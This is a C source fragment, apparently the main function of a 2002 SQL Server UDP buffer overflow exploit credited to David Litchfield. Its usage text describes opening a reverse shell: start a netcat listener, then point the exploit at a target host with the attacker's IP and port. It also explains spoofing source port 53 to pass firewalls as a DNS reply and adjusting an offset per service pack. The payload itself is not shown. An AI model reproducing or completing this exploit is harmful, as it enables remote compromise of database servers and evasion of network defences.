int main(int argc, char *argv[])
{
unsigned int ErrorLevel=0,len=0,c =0;
int count = 0;
char sc[300]="";
char ipaddress[40]="";
unsigned short port = 0;
unsigned int ip = 0;
char *ipt="";
char buffer[400]="";
unsigned short prt=0;
char *prtt="";
if(argc != 2 && argc != 5)
{
printf("\n\tSQL Server UDP Buffer Overflow\n\n\tReverse Shell Exploit Code");
printf("\n\n\tUsage:\n\n\tC:\\>%s host your_ip_address your_port sp",argv[0]);
printf("\n\n\tYou need to set nectat listening on a port");
printf("\n\tthat you want the reverse shell to connect to");
printf("\n\n\te.g.\n\n\tC:\\>nc -l -p 53");
printf("\n\n\tThen run C:\\>%s db.target.com 199.199.199.199 53 0",argv[0]);
printf("\n\n\tAssuming, of course, your IP address is 199.199.199.199\n");
printf("\n\tWe set the source UDP port to 53 so this should go through");
printf("\n\tmost firewalls - looks like a reply to a DNS query. Change");
printf("\n\tthe source code if you want to modify this.");
printf("\n\n\tThe SP Level is the SQL Server Service Pack:");
printf("\n\tWith no service pack the import address entry for");
printf("\n\tGetProcAddress() shifts by 12 bytes so we need to");
printf("\n\tchange one byte of the exploit code to reflect this.");
printf("\n\n\n\tDavid Litchfield\n\tdavid@ngssoftware.com\n\t22nd May 2002\n\n\n\n");
return 0;
}
